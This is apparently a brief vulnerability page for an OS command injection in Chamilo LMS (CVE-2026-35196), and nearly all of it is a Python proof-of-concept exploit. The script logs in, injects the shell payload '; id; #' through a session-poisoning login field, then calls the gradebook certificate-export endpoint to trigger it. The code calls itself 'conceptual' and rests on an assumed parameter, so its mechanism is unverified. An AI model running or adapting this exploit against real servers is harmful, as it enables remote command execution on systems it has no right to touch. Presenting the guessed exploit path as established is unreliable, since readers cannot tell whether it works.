CVE-2026-35196 Chamilo LMS OS命令注入漏洞

import requests # Target URL url = "http://target.com/main/inc/ajax/gradebook.ajax.php" # The vulnerability relies on poisoning the session variable $_SESSION['_cid']. # This is a conceptual PoC assuming the attacker can control the session. # 1. Authenticate and set malicious session data (simulated) session = requests.Session() login_payload = { "login": "attacker", "password": "password", # Assume a parameter that sets _cid in session exists or is derived "course": "; id; #" } session.post("http://target.com/login.php", data=login_payload) # 2. Trigger the vulnerable endpoint params = { "action": "export_all_certificates" } response = session.get(url, params=params) if response.status_code == 200: print("[+] Request sent, check if command executed.") else: print("[-] Failed to trigger")